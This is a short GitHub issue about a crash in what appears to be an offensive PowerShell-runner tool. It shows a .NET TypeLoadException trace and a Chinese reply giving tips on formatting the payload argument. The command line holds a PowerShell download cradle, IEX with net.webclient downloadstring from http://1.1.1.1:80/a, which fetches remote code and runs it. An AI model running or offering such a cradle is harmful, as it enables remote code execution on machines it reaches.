error
1derian opened this issue · comments
C:\Users\Administrator\source\repos\ConsoleApp2\ConsoleApp2\bin\Debug\net6.0>ConsoleApp2.exe "IEX+((new-object net.webclient).downloadstring('http://1.1.1.1:80/a'))"
Unhandled exception. System.TypeInitializationException: The type initializer for 'System.Management.Automation.Runspaces.RunspaceFactory' threw an exception.
---> System.TypeLoadException: Could not load type 'System.Diagnostics.Eventing.EventDescriptor' from assembly 'System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'.
at System.Management.Automation.Runspaces.RunspaceFactory..cctor()
--- End of inner exception stack trace ---
at System.Management.Automation.Runspaces.RunspaceFactory.CreateRunspace()
at TestExe.Program.Main(String[] args) in C:\Users\Administrator\source\repos\ConsoleApp2\ConsoleApp2\Program.cs:line 18
师傅的new-object和net.webclient中间的空格没替换为+,并且可以把双引号去了